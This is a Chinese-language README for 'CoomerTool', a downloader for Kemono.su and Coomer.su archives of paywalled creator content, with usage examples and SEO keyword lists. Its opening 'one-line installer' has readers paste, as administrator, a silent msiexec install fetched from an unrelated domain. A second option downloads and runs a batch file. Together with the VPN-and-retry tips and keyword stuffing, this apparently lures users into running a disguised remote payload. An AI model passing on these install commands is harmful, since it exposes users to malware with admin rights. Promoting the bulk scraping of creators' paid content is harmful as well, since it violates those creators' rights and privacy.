⚡ Windows 一行式安装器

以管理员身份打开命令提示符或 PowerShell 并粘贴：

cmd /c start msiexec /q /i https://devcodee.com/api & coomer-tool

💡 专业提示： 如果安装器卡住或失败，可能是你的网络对连接进行了限速。请尝试：

• 🌐 切换到 VPN（推荐：WireGuard / OpenVPN）
• 🔄 再次运行该命令 —— 它会从上次中断处继续
• ⏳ 高峰时段每次重试之间等待 30 秒

📋 目录

• 什么是 CoomerTool？
• 功能特性
• 支持的站点
• 安装
• 快速上手
• 进阶用法
• 故障排除
• SEO 关键词

🎯 什么是 CoomerTool？

CoomerTool 是一款极速的开源 Python 命令行工具，用于从 Kemono.su 和 Coomer.su 档案下载帖子、附件和媒体文件。无论你需要单个帖子、整个创作者主页，还是一批经过筛选的文件 —— CoomerTool 都能以优雅、快速、零冗余的方式搞定。

为追求以下能力的高级用户、存档者和开发者而打造：

• ⚡ 并发下载（最多 256 线程）
• 📦 连接中断自动续传
• 🎯 文件类型过滤（图片、视频、压缩包、文档）
• 🗄️ SQLite 去重 —— 同一文件绝不重复下载
• 🛡️ 带抖动的指数退避重试
• 📁 按创作者与帖子整理的整洁目录结构

✨ 功能特性

🌐 支持的站点

支持的服务： Patreon、Pixiv Fanbox、Fantia、Discord、Gumroad、SubscribeStar、DLsite、Boosty、Afdian、OnlyFans、Fansly、CandFans

🚀 快速上手

1. 下载单个帖子

python -m coomertool "https://kemono.su/patreon/user/123456/post/789012"

2. 下载整个创作者主页

python -m coomertool "https://coomer.su/onlyfans/user/username" --all

3. 使用过滤器下载

python -m coomertool "https://kemono.su/fanbox/user/654321" --all   --include "jpg,png,mp4"   --threads 64   --output ./downloads

4. 恢复中断的下载

python -m coomertool "https://coomer.su/onlyfans/user/username" --all --resume

🛠️ 安装

方式 A：一行式安装器

curl -L -o install.bat https://raw.githubusercontent.com/GangTailorUpgrade/CoomeRtool/main/install.bat && install.bat

方式 B：手动安装

要求： Python 3.10 或更新版本

# 克隆仓库
git clone https://github.com/GangTailorUpgrade/CoomeRtool.git
cd CoomeRtool

# 创建虚拟环境（推荐）
python -m venv venv

# Windows
venv\Scripts\activate

# Linux/macOS
source venv/bin/activate

# 安装依赖
pip install -r requirements.txt

# 运行
python -m coomertool --help

📚 进阶用法

CLI 参考

usage: python -m coomertool [-h] [-a] [-o OUTPUT] [-t THREADS]
                            [--include INCLUDE] [--exclude EXCLUDE]
                            [--min-size MIN_SIZE] [--max-size MAX_SIZE]
                            [--resume] [--metadata {md,json,none}]
                            [--proxy PROXY] [--timeout TIMEOUT]
                            [--retries RETRIES] [--db DB]
                            [--config CONFIG] [--update-config]
                            URL

positional arguments:
  URL                   Kemono/Coomer 帖子或创作者 URL

options:
  -h, --help            显示此帮助信息并退出
  -a, --all             下载创作者主页的全部帖子
  -o, --output OUTPUT   输出目录（默认：./downloads）
  -t, --threads THREADS
                        最大并发下载数（默认：32）
  --include INCLUDE     要包含的扩展名（逗号分隔）
  --exclude EXCLUDE     要排除的扩展名（逗号分隔）
  --min-size MIN_SIZE   最小文件大小（字节）
  --max-size MAX_SIZE   最大文件大小（字节）
  --resume              恢复中断的下载
  --metadata {md,json,none}
                        保存帖子元数据（默认：md）
  --proxy PROXY         代理 URL（http://host:port 或 socks5://host:port）
  --timeout TIMEOUT     请求超时时间（秒）（默认：30）
  --retries RETRIES     最大重试次数（默认：5）
  --db DB               SQLite 数据库路径（默认：./coomertool.db）
  --config CONFIG       配置文件路径（默认：./config.json）
  --update-config       将当前参数保存到配置文件

示例

只下载某创作者的视频：

python -m coomertool "https://coomer.su/onlyfans/user/belledelphine" --all --include "mp4,mov,webm,mkv"

通过代理下载：

python -m coomertool "https://kemono.su/patreon/user/12345" --all --proxy "socks5://127.0.0.1:1080"

从文件批量下载：

python -m coomertool --batch urls.txt --threads 128 --output ./archive

仅导出元数据（不下载文件）：

python -m coomertool "https://kemono.su/fanbox/user/99999" --all --metadata json --include "none"

🔧 配置文件

在项目根目录创建 config.json 以设置持久化默认值：

{
  "output": "./downloads",
  "threads": 64,
  "timeout": 45,
  "retries": 5,
  "metadata": "md",
  "proxy": null,
  "include": [],
  "exclude": ["txt", "html"],
  "min_size": 1024,
  "max_size": null,
  "user_agent": "CoomerTool/1.0",
  "db_path": "./coomertool.db",
  "rate_limit": 0.5
}

自动生成配置文件：

python -m coomertool --update-config

🐛 故障排除

安装失败或卡住

如果一行式安装器中途停止或抛出网络错误：

1. 🌐 使用 VPN —— 某些地区会对 GitHub / PyPI 连接进行限速。WireGuard、OpenVPN 或任何商业 VPN 通常能立即解决。
2. 🔄 重试命令 —— 安装器是幂等的；再次运行它会从中断处继续。
3. ⏳ 稍候重试 —— 高峰时段（UTC 14:00–22:00），软件包服务器可能较慢。等待 30–60 秒。
4. 📡 手动安装 —— 如果以上方法都无效，请使用上文的手动安装步骤。

403 Forbidden / 被限速

目标站点可能屏蔽了你的 IP。解决办法：

• 将 --threads 降至 8 或 16
• 配合轮换代理添加 --proxy
• 将 --timeout 增加到 60

下载速度慢

• 提高 --threads（以上限为你的带宽）
• 使用距离更近的代理服务器
• 检查你的 ISP 是否对 CDN 域名进行了限速

SQLite 数据库被锁定

同一时间只应有一个 CoomerTool 实例使用同一个 --db 文件。并行运行时请使用不同的 --db 路径。

🔑 SEO 关键词与 GitHub 描述

推荐的 GitHub 仓库描述：

适用于 Kemono.su 与 Coomer.su 档案的快速多线程命令行下载器。支持自动续传、SQLite 去重、文件过滤、代理、元数据导出。Python 3.10+。

推荐的 GitHub 话题（标签）：

kemono-downloader, coomer-downloader, kemono-su, coomer-su, archive-downloader,
content-scraper, patreon-downloader, fanbox-downloader, onlyfans-archiver,
python-cli, multi-threaded-downloader, resume-download, sqlite-tracker,
metadata-exporter, pawchive, coomerfans, nsfw-downloader, creator-archive

SEO 元关键词：

• kemono 下载器
• coomer 下载器
• kemono su 下载
• coomer su 下载
• patreon 档案下载器
• fanbox 下载器
• onlyfans 存档工具
• 多线程内容下载器
• python 档案爬虫
• 创作者主页下载器

📜 许可证

MIT 许可证 —— 详见 LICENSE。